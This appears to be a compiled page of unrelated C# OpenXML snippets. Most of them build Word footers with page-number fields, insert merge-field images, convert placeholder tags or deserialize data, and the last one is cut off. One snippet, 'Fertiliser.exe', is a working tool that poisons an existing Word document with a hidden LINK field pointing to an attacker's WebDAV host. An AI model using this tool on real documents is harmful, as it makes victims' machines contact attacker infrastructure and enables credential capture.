            runProperties10.Append(fontSize11);
            runProperties10.Append(fontSizeComplexScript11);
            Text text2 = new Text();

            text2.Text = "2";

            run10.Append(runProperties10);
            run10.Append(text2);

            Run run11 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties11 = new RunProperties();
            RunFonts      runFonts12      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof9   = new NoProof();
            WebHidden webHidden7 = new WebHidden();
            FontSize  fontSize12 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript12 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties11.Append(runFonts12);
            runProperties11.Append(noProof9);
            runProperties11.Append(webHidden7);
            runProperties11.Append(fontSize12);
            runProperties11.Append(fontSizeComplexScript12);
            FieldChar fieldChar5 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };

            run11.Append(runProperties11);
            run11.Append(fieldChar5);

            hyperlink1.Append(run4);
            hyperlink1.Append(run5);
            hyperlink1.Append(run6);
            hyperlink1.Append(run7);
            hyperlink1.Append(run8);
            hyperlink1.Append(run9);
            hyperlink1.Append(run10);
            hyperlink1.Append(run11);

            paragraph1.Append(paragraphProperties1);
            paragraph1.Append(run1);
            paragraph1.Append(bookmarkEnd1);
            paragraph1.Append(bookmarkEnd2);
            paragraph1.Append(bookmarkEnd3);
            paragraph1.Append(run2);
            paragraph1.Append(run3);
            paragraph1.Append(hyperlink1);
            return(paragraph1);
        }
Beispiel #30
0
        static void Main(string[] args)
        {
            Console.WriteLine(Config.banner);
            Console.WriteLine("Author: @domchell\n");

            if (args.Length < 3)
            {
                Console.WriteLine("Usage: Fertiliser.exe <Path> <WebDAV Path> <Field Comment>");
                Console.WriteLine("Example: Fertiliser.exe \\\\fileserver\\important.docx http://workstation:8888/foo \"Update required\"");
                return;
            }

            string filepath   = args[0].Trim();
            string webdavpath = args[1].Trim();
            string comment    = args[2].Trim();

            try
            {
                using (WordprocessingDocument newDoc = WordprocessingDocument.Open(filepath, true))
                {
                    Console.WriteLine("[*] Attempting to poison {0}", filepath);
                    Run run = new Run();

                    FieldChar fieldChar1 = new FieldChar()
                    {
                        FieldCharType = FieldCharValues.Begin
                    };

                    Console.WriteLine("[*] Injecting new field code pointing to {0}", webdavpath);
                    FieldCode fieldCode1 = new FieldCode()
                    {
                        Space = SpaceProcessingModeValues.Preserve
                    };
                    fieldCode1.Text = " LINK  Excel.Sheet.8 " + webdavpath + " \\a ";

                    FieldChar fieldChar2 = new FieldChar()
                    {
                        FieldCharType = FieldCharValues.Separate
                    };

                    RunProperties     runProperties1     = new RunProperties();
                    Bold              bold1              = new Bold();
                    BoldComplexScript boldComplexScript1 = new BoldComplexScript();
                    Languages         languages1         = new Languages()
                    {
                        Val = "en-US"
                    };

                    runProperties1.Append(bold1);
                    runProperties1.Append(boldComplexScript1);
                    runProperties1.Append(languages1);
                    Text text1 = new Text();
                    text1.Text = comment;

                    FieldChar fieldChar3 = new FieldChar()
                    {
                        FieldCharType = FieldCharValues.End
                    };

                    run.Append(fieldChar1);
                    run.Append(fieldCode1);
                    run.Append(fieldChar2);
                    run.Append(runProperties1);
                    run.Append(text1);
                    run.Append(fieldChar3);

                    var paragraph = newDoc.MainDocumentPart.Document.Body.Elements <Paragraph>().FirstOrDefault();

                    paragraph.PrependChild(run);
                    Console.WriteLine("[*] Saving document");
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("[*] An error occured: " + e.Message);
            }

            Console.WriteLine("[*] Success, your crop is fertilised, happy farming!");
        }
Beispiel #31
0
        public static Footer GenerateFooter()
        {
            Footer footer1 = new Footer()
            {
                MCAttributes = new MarkupCompatibilityAttributes()
                {
                    Ignorable = "w14 wp14"
                }
            };

            footer1.SetAttribute(new OpenXmlAttribute("xmlns", "wpi", "http://www.w3.org/2000/xmlns/", "http://schemas.microsoft.com/office/word/2010/wordprocessingInk"));

            SdtBlock sdtBlock1 = new SdtBlock();

            SdtProperties sdtProperties1 = new SdtProperties();
            SdtId         sdtId1         = new SdtId()
            {
                Val = -2004816677
            };

            SdtContentDocPartObject sdtContentDocPartObject1 = new SdtContentDocPartObject();
            DocPartGallery          docPartGallery1          = new DocPartGallery()
            {
                Val = "Page Numbers (Bottom of Page)"
            };
            DocPartUnique docPartUnique1 = new DocPartUnique();

            sdtContentDocPartObject1.Append(docPartGallery1);
            sdtContentDocPartObject1.Append(docPartUnique1);

            sdtProperties1.Append(sdtId1);
            sdtProperties1.Append(sdtContentDocPartObject1);

            SdtContentBlock sdtContentBlock1 = new SdtContentBlock();

            SdtBlock sdtBlock2 = new SdtBlock();

            SdtProperties sdtProperties2 = new SdtProperties();
            SdtId         sdtId2         = new SdtId()
            {
                Val = 262557138
            };

            SdtContentDocPartObject sdtContentDocPartObject2 = new SdtContentDocPartObject();
            DocPartGallery          docPartGallery2          = new DocPartGallery()
            {
                Val = "Page Numbers (Top of Page)"
            };
            DocPartUnique docPartUnique2 = new DocPartUnique();

            sdtContentDocPartObject2.Append(docPartGallery2);
            sdtContentDocPartObject2.Append(docPartUnique2);

            sdtProperties2.Append(sdtId2);
            sdtProperties2.Append(sdtContentDocPartObject2);

            SdtContentBlock sdtContentBlock2 = new SdtContentBlock();

            Paragraph paragraph1 = new Paragraph()
            {
                RsidParagraphAddition  = "000A3202",
                RsidRunAdditionDefault = "000A3202",
                ParagraphId            = "450F18F9",
                TextId = "3669B4E6"
            };

            ParagraphProperties paragraphProperties1 = new ParagraphProperties();
            ParagraphStyleId    paragraphStyleId1    = new ParagraphStyleId()
            {
                Val = "a6"
            };
            Justification justification1 = new Justification()
            {
                Val = JustificationValues.Center
            };

            paragraphProperties1.Append(paragraphStyleId1);
            paragraphProperties1.Append(justification1);

            Run  run1  = new Run();
            Text text1 = new Text()
            {
                Space = SpaceProcessingModeValues.Preserve
            };

            text1.Text = "Страница ";

            run1.Append(text1);

            Run run2 = new Run();

            RunProperties runProperties1 = new RunProperties();
            Bold          bold1          = new Bold();
            FontSize      fontSize1      = new FontSize()
            {
                Val = "24"
            };
            FontSizeComplexScript fontSizeComplexScript1 = new FontSizeComplexScript()
            {
                Val = "24"
            };

            runProperties1.Append(bold1);
            runProperties1.Append(fontSize1);
            runProperties1.Append(fontSizeComplexScript1);
            FieldChar fieldChar1 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };

            run2.Append(runProperties1);
            run2.Append(fieldChar1);

            Run run3 = new Run();

            RunProperties runProperties2 = new RunProperties();
            Bold          bold2          = new Bold();

            runProperties2.Append(bold2);
            FieldCode fieldCode1 = new FieldCode();

            fieldCode1.Text = "PAGE";

            run3.Append(runProperties2);
            run3.Append(fieldCode1);

            Run run4 = new Run();

            RunProperties runProperties3 = new RunProperties();
            Bold          bold3          = new Bold();
            FontSize      fontSize2      = new FontSize()
            {
                Val = "24"
            };
            FontSizeComplexScript fontSizeComplexScript2 = new FontSizeComplexScript()
            {
                Val = "24"
            };

            runProperties3.Append(bold3);
            runProperties3.Append(fontSize2);
            runProperties3.Append(fontSizeComplexScript2);
            FieldChar fieldChar2 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };

            run4.Append(runProperties3);
            run4.Append(fieldChar2);

            Run run5 = new Run();

            RunProperties runProperties4 = new RunProperties();
            Bold          bold4          = new Bold();
            NoProof       noProof1       = new NoProof();

            runProperties4.Append(bold4);
            runProperties4.Append(noProof1);
            Text text2 = new Text();

            text2.Text = "2";

            run5.Append(runProperties4);
            run5.Append(text2);

            Run run6 = new Run();

            RunProperties runProperties5 = new RunProperties();
            Bold          bold5          = new Bold();
            FontSize      fontSize3      = new FontSize()
            {
                Val = "24"
            };
            FontSizeComplexScript fontSizeComplexScript3 = new FontSizeComplexScript()
            {
                Val = "24"
            };

            runProperties5.Append(bold5);
            runProperties5.Append(fontSize3);
            runProperties5.Append(fontSizeComplexScript3);
            FieldChar fieldChar3 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };

            run6.Append(runProperties5);
            run6.Append(fieldChar3);

            Run  run7  = new Run();
            Text text3 = new Text()
            {
                Space = SpaceProcessingModeValues.Preserve
            };

            text3.Text = " из ";

            run7.Append(text3);

            Run run8 = new Run();

            RunProperties runProperties6 = new RunProperties();
            Bold          bold6          = new Bold();
            FontSize      fontSize4      = new FontSize()
            {
                Val = "24"
            };
            FontSizeComplexScript fontSizeComplexScript4 = new FontSizeComplexScript()
            {
                Val = "24"
            };

            runProperties6.Append(bold6);
            runProperties6.Append(fontSize4);
            runProperties6.Append(fontSizeComplexScript4);
            FieldChar fieldChar4 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };

            run8.Append(runProperties6);
            run8.Append(fieldChar4);

            Run run9 = new Run();

            RunProperties runProperties7 = new RunProperties();
            Bold          bold7          = new Bold();

            runProperties7.Append(bold7);
            FieldCode fieldCode2 = new FieldCode();

            fieldCode2.Text = "NUMPAGES";

            run9.Append(runProperties7);
            run9.Append(fieldCode2);

            Run run10 = new Run();

            RunProperties runProperties8 = new RunProperties();
            Bold          bold8          = new Bold();
            FontSize      fontSize5      = new FontSize()
            {
                Val = "24"
            };
            FontSizeComplexScript fontSizeComplexScript5 = new FontSizeComplexScript()
            {
                Val = "24"
            };

            runProperties8.Append(bold8);
            runProperties8.Append(fontSize5);
            runProperties8.Append(fontSizeComplexScript5);
            FieldChar fieldChar5 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };

            run10.Append(runProperties8);
            run10.Append(fieldChar5);

            Run run11 = new Run();

            RunProperties runProperties9 = new RunProperties();
            Bold          bold9          = new Bold();
            NoProof       noProof2       = new NoProof();

            runProperties9.Append(bold9);
            runProperties9.Append(noProof2);
            Text text4 = new Text();

            text4.Text = "2";

            run11.Append(runProperties9);
            run11.Append(text4);

            Run run12 = new Run();

            RunProperties runProperties10 = new RunProperties();
            Bold          bold10          = new Bold();
            FontSize      fontSize6       = new FontSize()
            {
                Val = "24"
            };
            FontSizeComplexScript fontSizeComplexScript6 = new FontSizeComplexScript()
            {
                Val = "24"
            };

            runProperties10.Append(bold10);
            runProperties10.Append(fontSize6);
            runProperties10.Append(fontSizeComplexScript6);
            FieldChar fieldChar6 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };

            run12.Append(runProperties10);
            run12.Append(fieldChar6);

            paragraph1.Append(paragraphProperties1);
            paragraph1.Append(run1);
            paragraph1.Append(run2);
            paragraph1.Append(run3);
            paragraph1.Append(run4);
            paragraph1.Append(run5);
            paragraph1.Append(run6);
            paragraph1.Append(run7);
            paragraph1.Append(run8);
            paragraph1.Append(run9);
            paragraph1.Append(run10);
            paragraph1.Append(run11);
            paragraph1.Append(run12);

            sdtContentBlock2.Append(paragraph1);

            sdtBlock2.Append(sdtProperties2);
            sdtBlock2.Append(sdtContentBlock2);

            sdtContentBlock1.Append(sdtBlock2);

            sdtBlock1.Append(sdtProperties1);
            sdtBlock1.Append(sdtContentBlock1);

            Paragraph paragraph2 = new Paragraph()
            {
                RsidParagraphAddition  = "000A3202",
                RsidRunAdditionDefault = "000A3202",
                ParagraphId            = "7CCB7F19",
                TextId = "77777777"
            };

            ParagraphProperties paragraphProperties2 = new ParagraphProperties();
            ParagraphStyleId    paragraphStyleId2    = new ParagraphStyleId()
            {
                Val = "a6"
            };

            paragraphProperties2.Append(paragraphStyleId2);

            paragraph2.Append(paragraphProperties2);

            footer1.Append(sdtBlock1);
            footer1.Append(paragraph2);
            return(footer1);
        }
        // Generates content of footerPart1.
        private void GenerateFooterPart1Content(FooterPart footerPart1)
        {
            Footer footer1 = new Footer() { MCAttributes = new MarkupCompatibilityAttributes() { Ignorable = "w14 wp14" } };
            footer1.AddNamespaceDeclaration("wpc", "http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas");
            footer1.AddNamespaceDeclaration("mc", "http://schemas.openxmlformats.org/markup-compatibility/2006");
            footer1.AddNamespaceDeclaration("o", "urn:schemas-microsoft-com:office:office");
            footer1.AddNamespaceDeclaration("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships");
            footer1.AddNamespaceDeclaration("m", "http://schemas.openxmlformats.org/officeDocument/2006/math");
            footer1.AddNamespaceDeclaration("v", "urn:schemas-microsoft-com:vml");
            footer1.AddNamespaceDeclaration("wp14", "http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("wp", "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("w10", "urn:schemas-microsoft-com:office:word");
            footer1.AddNamespaceDeclaration("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main");
            footer1.AddNamespaceDeclaration("w14", "http://schemas.microsoft.com/office/word/2010/wordml");
            footer1.AddNamespaceDeclaration("wpg", "http://schemas.microsoft.com/office/word/2010/wordprocessingGroup");
            footer1.AddNamespaceDeclaration("wpi", "http://schemas.microsoft.com/office/word/2010/wordprocessingInk");
            footer1.AddNamespaceDeclaration("wne", "http://schemas.microsoft.com/office/word/2006/wordml");
            footer1.AddNamespaceDeclaration("wps", "http://schemas.microsoft.com/office/word/2010/wordprocessingShape");

            Paragraph paragraph51 = new Paragraph() { RsidParagraphAddition = "004F7F90", RsidRunAdditionDefault = "00900A10" };

            ParagraphProperties paragraphProperties49 = new ParagraphProperties();
            WidowControl widowControl49 = new WidowControl() { Val = false };

            ParagraphBorders paragraphBorders1 = new ParagraphBorders();
            TopBorder topBorder18 = new TopBorder() { Val = BorderValues.Single, Color = "auto", Size = (UInt32Value)4U, Space = (UInt32Value)5U };

            paragraphBorders1.Append(topBorder18);
            AutoSpaceDE autoSpaceDE49 = new AutoSpaceDE() { Val = false };
            AutoSpaceDN autoSpaceDN49 = new AutoSpaceDN() { Val = false };
            AdjustRightIndent adjustRightIndent49 = new AdjustRightIndent() { Val = false };
            SpacingBetweenLines spacingBetweenLines35 = new SpacingBetweenLines() { After = "0", Line = "240", LineRule = LineSpacingRuleValues.Auto };
            Justification justification10 = new Justification() { Val = JustificationValues.Center };

            ParagraphMarkRunProperties paragraphMarkRunProperties49 = new ParagraphMarkRunProperties();
            RunFonts runFonts91 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize91 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript91 = new FontSizeComplexScript() { Val = "18" };

            paragraphMarkRunProperties49.Append(runFonts91);
            paragraphMarkRunProperties49.Append(fontSize91);
            paragraphMarkRunProperties49.Append(fontSizeComplexScript91);

            paragraphProperties49.Append(widowControl49);
            paragraphProperties49.Append(paragraphBorders1);
            paragraphProperties49.Append(autoSpaceDE49);
            paragraphProperties49.Append(autoSpaceDN49);
            paragraphProperties49.Append(adjustRightIndent49);
            paragraphProperties49.Append(spacingBetweenLines35);
            paragraphProperties49.Append(justification10);
            paragraphProperties49.Append(paragraphMarkRunProperties49);

            Run run43 = new Run();

            RunProperties runProperties43 = new RunProperties();
            RunFonts runFonts92 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize92 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript92 = new FontSizeComplexScript() { Val = "18" };

            runProperties43.Append(runFonts92);
            runProperties43.Append(fontSize92);
            runProperties43.Append(fontSizeComplexScript92);
            Text text43 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text43.Text = "Страница ";

            run43.Append(runProperties43);
            run43.Append(text43);

            Run run44 = new Run();

            RunProperties runProperties44 = new RunProperties();
            RunFonts runFonts93 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize93 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript93 = new FontSizeComplexScript() { Val = "18" };

            runProperties44.Append(runFonts93);
            runProperties44.Append(fontSize93);
            runProperties44.Append(fontSizeComplexScript93);
            FieldChar fieldChar1 = new FieldChar() { FieldCharType = FieldCharValues.Begin };

            run44.Append(runProperties44);
            run44.Append(fieldChar1);

            Run run45 = new Run();

            RunProperties runProperties45 = new RunProperties();
            RunFonts runFonts94 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize94 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript94 = new FontSizeComplexScript() { Val = "18" };

            runProperties45.Append(runFonts94);
            runProperties45.Append(fontSize94);
            runProperties45.Append(fontSizeComplexScript94);
            FieldCode fieldCode1 = new FieldCode();
            fieldCode1.Text = "PAGE";

            run45.Append(runProperties45);
            run45.Append(fieldCode1);

            Run run46 = new Run();

            RunProperties runProperties46 = new RunProperties();
            RunFonts runFonts95 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize95 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript95 = new FontSizeComplexScript() { Val = "18" };

            runProperties46.Append(runFonts95);
            runProperties46.Append(fontSize95);
            runProperties46.Append(fontSizeComplexScript95);
            FieldChar fieldChar2 = new FieldChar() { FieldCharType = FieldCharValues.Separate };

            run46.Append(runProperties46);
            run46.Append(fieldChar2);

            Run run47 = new Run() { RsidRunAddition = "00D60978" };

            RunProperties runProperties47 = new RunProperties();
            RunFonts runFonts96 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            NoProof noProof1 = new NoProof();
            FontSize fontSize96 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript96 = new FontSizeComplexScript() { Val = "18" };

            runProperties47.Append(runFonts96);
            runProperties47.Append(noProof1);
            runProperties47.Append(fontSize96);
            runProperties47.Append(fontSizeComplexScript96);
            Text text44 = new Text();
            text44.Text = "1";

            run47.Append(runProperties47);
            run47.Append(text44);

            Run run48 = new Run();

            RunProperties runProperties48 = new RunProperties();
            RunFonts runFonts97 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize97 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript97 = new FontSizeComplexScript() { Val = "18" };

            runProperties48.Append(runFonts97);
            runProperties48.Append(fontSize97);
            runProperties48.Append(fontSizeComplexScript97);
            FieldChar fieldChar3 = new FieldChar() { FieldCharType = FieldCharValues.End };

            run48.Append(runProperties48);
            run48.Append(fieldChar3);

            Run run49 = new Run();

            RunProperties runProperties49 = new RunProperties();
            RunFonts runFonts98 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize98 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript98 = new FontSizeComplexScript() { Val = "18" };

            runProperties49.Append(runFonts98);
            runProperties49.Append(fontSize98);
            runProperties49.Append(fontSizeComplexScript98);
            Text text45 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text45.Text = " из ";

            run49.Append(runProperties49);
            run49.Append(text45);

            Run run50 = new Run();

            RunProperties runProperties50 = new RunProperties();
            RunFonts runFonts99 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize99 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript99 = new FontSizeComplexScript() { Val = "18" };

            runProperties50.Append(runFonts99);
            runProperties50.Append(fontSize99);
            runProperties50.Append(fontSizeComplexScript99);
            FieldChar fieldChar4 = new FieldChar() { FieldCharType = FieldCharValues.Begin };

            run50.Append(runProperties50);
            run50.Append(fieldChar4);

            Run run51 = new Run();

            RunProperties runProperties51 = new RunProperties();
            RunFonts runFonts100 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize100 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript100 = new FontSizeComplexScript() { Val = "18" };

            runProperties51.Append(runFonts100);
            runProperties51.Append(fontSize100);
            runProperties51.Append(fontSizeComplexScript100);
            FieldCode fieldCode2 = new FieldCode();
            fieldCode2.Text = "NUMPAGES";

            run51.Append(runProperties51);
            run51.Append(fieldCode2);

            Run run52 = new Run();

            RunProperties runProperties52 = new RunProperties();
            RunFonts runFonts101 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize101 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript101 = new FontSizeComplexScript() { Val = "18" };

            runProperties52.Append(runFonts101);
            runProperties52.Append(fontSize101);
            runProperties52.Append(fontSizeComplexScript101);
            FieldChar fieldChar5 = new FieldChar() { FieldCharType = FieldCharValues.Separate };

            run52.Append(runProperties52);
            run52.Append(fieldChar5);

            Run run53 = new Run() { RsidRunAddition = "00D60978" };

            RunProperties runProperties53 = new RunProperties();
            RunFonts runFonts102 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            NoProof noProof2 = new NoProof();
            FontSize fontSize102 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript102 = new FontSizeComplexScript() { Val = "18" };

            runProperties53.Append(runFonts102);
            runProperties53.Append(noProof2);
            runProperties53.Append(fontSize102);
            runProperties53.Append(fontSizeComplexScript102);
            Text text46 = new Text();
            text46.Text = "1";

            run53.Append(runProperties53);
            run53.Append(text46);

            Run run54 = new Run();

            RunProperties runProperties54 = new RunProperties();
            RunFonts runFonts103 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize103 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript103 = new FontSizeComplexScript() { Val = "18" };

            runProperties54.Append(runFonts103);
            runProperties54.Append(fontSize103);
            runProperties54.Append(fontSizeComplexScript103);
            FieldChar fieldChar6 = new FieldChar() { FieldCharType = FieldCharValues.End };

            run54.Append(runProperties54);
            run54.Append(fieldChar6);

            Run run55 = new Run();

            RunProperties runProperties55 = new RunProperties();
            RunFonts runFonts104 = new RunFonts() { Ascii = "New Roman", HighAnsi = "New Roman", EastAsia = "New Roman", ComplexScript = "Times New Roman" };
            FontSize fontSize104 = new FontSize() { Val = "18" };
            FontSizeComplexScript fontSizeComplexScript104 = new FontSizeComplexScript() { Val = "18" };

            runProperties55.Append(runFonts104);
            runProperties55.Append(fontSize104);
            runProperties55.Append(fontSizeComplexScript104);
            Text text47 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text47.Text = " ";

            run55.Append(runProperties55);
            run55.Append(text47);

            paragraph51.Append(paragraphProperties49);
            paragraph51.Append(run43);
            paragraph51.Append(run44);
            paragraph51.Append(run45);
            paragraph51.Append(run46);
            paragraph51.Append(run47);
            paragraph51.Append(run48);
            paragraph51.Append(run49);
            paragraph51.Append(run50);
            paragraph51.Append(run51);
            paragraph51.Append(run52);
            paragraph51.Append(run53);
            paragraph51.Append(run54);
            paragraph51.Append(run55);

            footer1.Append(paragraph51);

            footerPart1.Footer = footer1;
        }
Beispiel #33
0
        public static string GetSagePaymentInfo(this Payment payment, FieldCode code)
        {
            var loadSagePaymentInfo = payment.LoadSagePaymentInfo();

            return(loadSagePaymentInfo[code]);
        }
Beispiel #34
0
        private void ReplaceMergeFieldImage(WordprocessingDocument wordprocessingDocument, FieldCode mergeField, string imageUri)
        {
            var fieldParent = mergeField.Parent.Parent;

            ImagePart imagePart = wordprocessingDocument.MainDocumentPart.AddImagePart(ImagePartType.Jpeg);

            using (FileStream stream = new FileStream(imageUri, FileMode.Open))
            {
                imagePart.FeedData(stream);
            }

            RemoveMergeField(mergeField);

            fieldParent.AppendChild(new Paragraph());
            fieldParent.AppendChild(new Paragraph(new Run(CreateImageElement(wordprocessingDocument.MainDocumentPart.GetIdOfPart(imagePart)))));
        }
Beispiel #35
0
        private static void ConvertToFields(Paragraph para)
        {
            for (OpenXmlElement element = para.FirstChild; element != null; element = element.NextSibling())
            {
                Run run = element as Run;
                if (run == null)
                {
                    continue;
                }
                Text text = run.GetFirstChild <Text>();
                if ((!text.Text.Contains("<<")) || (!text.Text.Contains(">>")))
                {
                    continue;
                }

                // we will create new runs and insert them, then at the end remove this run
                int offset = 0;
                while (true)
                {
                    int start = text.Text.IndexOf("<<", offset);
                    if (start == -1)
                    {
                        break;
                    }
                    int end = text.Text.IndexOf(">>", start);
                    if (end == -1)
                    {
                        break;
                    }
                    // do we have text to add?
                    if (start > offset)
                    {
                        Run runText = (Run)run.CloneNode(true);
                        runText.GetFirstChild <Text>().Text = text.Text.Substring(offset, start - offset);
                        para.InsertBefore(runText, run);
                    }

                    string    field = text.Text.Substring(start + 2, end - start - 2).Trim();
                    FieldInfo info  = Converter.Parse(field);

                    // if we can't handle it, leave it alone
                    if (info.DoNotProcess)
                    {
                        Trap.trap();
                        logFile.WriteLine($"Not converting field {field}");
                        Run runText = (Run)run.CloneNode(true);
                        runText.GetFirstChild <Text>().Text = text.Text.Substring(offset, end + 2 - offset);
                        para.InsertBefore(runText, run);
                        offset = end + 2;
                        continue;
                    }

                    logFile.WriteLine($"Converting field {field} to tag {info.FullTagText}");

                    // add the data
                    if (info.NodeName != null && info.NodeName.Length > 0)
                    {
                        XmlElement root = stack.Peek().NodeOn;
                        foreach (string nodeOn in info.NodeName)
                        {
                            XmlElement item = root.ChildNodes.OfType <XmlElement>().Where(e => e.LocalName == nodeOn).FirstOrDefault();
                            if (item != null)
                            {
                                root = item;
                            }
                            else
                            {
                                XmlElement data = xmlDoc.CreateElement(nodeOn);
                                root.AppendChild(data);
                                root = data;
                            }
                        }

                        // need to push/pop on the stack
                        if (info.Mode == FieldInfo.STACK_MODE.PUSH)
                        {
                            stack.Push(new DataInfo(root, info.NodeName[0], info.VarName));
                        }
                    }
                    if (info.Mode == FieldInfo.STACK_MODE.POP)
                    {
                        stack.Pop();
                    }

                    // now add the field
                    Run runFieldBegin = new Run();
                    runFieldBegin.AppendChild(new FieldChar()
                    {
                        FieldCharType = FieldCharValues.Begin
                    });
                    para.InsertBefore(runFieldBegin, run);

                    Run       runFieldInstr = new Run();
                    FieldCode fieldCode     = new FieldCode()
                    {
                        Space = SpaceProcessingModeValues.Preserve
                    };
                    fieldCode.Text = $" AUTOTEXTLIST   \\t \"{info.FullTagText}\"  \\* MERGEFORMAT ";
                    runFieldInstr.AppendChild(fieldCode);
                    para.InsertAfter(runFieldInstr, runFieldBegin);

                    Run runFieldSeparate = new Run();
                    runFieldSeparate.AppendChild(new FieldChar()
                    {
                        FieldCharType = FieldCharValues.Separate
                    });
                    para.InsertAfter(runFieldSeparate, runFieldInstr);

                    Run  runDisplay  = new Run();
                    Text textDisplay = new Text(info.DisplayName);
                    runDisplay.AppendChild(textDisplay);
                    para.InsertAfter(runDisplay, runFieldSeparate);

                    Run runFieldEnd = new Run();
                    runFieldEnd.AppendChild(new FieldChar()
                    {
                        FieldCharType = FieldCharValues.End
                    });
                    para.InsertAfter(runFieldEnd, runDisplay);

                    offset = end + 2;
                }

                // set to the previous one (and then it will next on it)
                element = run.PreviousSibling() ?? para.FirstChild;

                // if nothing left, remove the run. If something left, reduce it to that.
                if (offset >= text.Text.Length)
                {
                    element = run.PreviousSibling();
                    run.Remove();
                    if (element == null)
                    {
                        element = para.FirstChild;
                    }
                }
                else
                {
                    text.Text = text.Text.Substring(offset);
                }
            }
        }
        /// <summary>
        /// Deserializes an object from a binary source.
        /// </summary>
        /// <param name="Reader">Binary deserializer.</param>
        /// <param name="DataType">Optional datatype. If not provided, will be read from the binary source.</param>
        /// <param name="Embedded">If the object is embedded into another.</param>
        /// <param name="CheckFieldNames">If field names are to be extended.</param>
        /// <returns>Deserialized object.</returns>
        public object Deserialize(BinaryDeserializer Reader, uint?DataType, bool Embedded, bool CheckFieldNames)
        {
            uint           FieldDataType;
            ulong          FieldCode;
            ulong          CollectionCode;
            StreamBookmark Bookmark    = Reader.GetBookmark();
            uint?          DataTypeBak = DataType;
            Guid           ObjectId    = Embedded ? Guid.Empty : Reader.ReadGuid();
            ulong          ContentLen  = Embedded ? 0 : Reader.ReadVariableLengthUInt64();
            string         TypeName;
            string         FieldName;
            string         CollectionName;

            if (!DataType.HasValue)
            {
                DataType = Reader.ReadBits(6);
                if (DataType.Value == ObjectSerializer.TYPE_NULL)
                {
                    return(null);
                }
            }

            switch (DataType.Value)
            {
            case ObjectSerializer.TYPE_OBJECT:
                break;

            case ObjectSerializer.TYPE_BOOLEAN:
                return(Reader.ReadBit());

            case ObjectSerializer.TYPE_BYTE:
                return(Reader.ReadByte());

            case ObjectSerializer.TYPE_INT16:
                return(Reader.ReadInt16());

            case ObjectSerializer.TYPE_INT32:
                return(Reader.ReadInt32());

            case ObjectSerializer.TYPE_INT64:
                return(Reader.ReadInt64());

            case ObjectSerializer.TYPE_SBYTE:
                return(Reader.ReadSByte());

            case ObjectSerializer.TYPE_UINT16:
                return(Reader.ReadUInt16());

            case ObjectSerializer.TYPE_UINT32:
                return(Reader.ReadUInt32());

            case ObjectSerializer.TYPE_UINT64:
                return(Reader.ReadUInt64());

            case ObjectSerializer.TYPE_DECIMAL:
                return(Reader.ReadDecimal());

            case ObjectSerializer.TYPE_DOUBLE:
                return(Reader.ReadDouble());

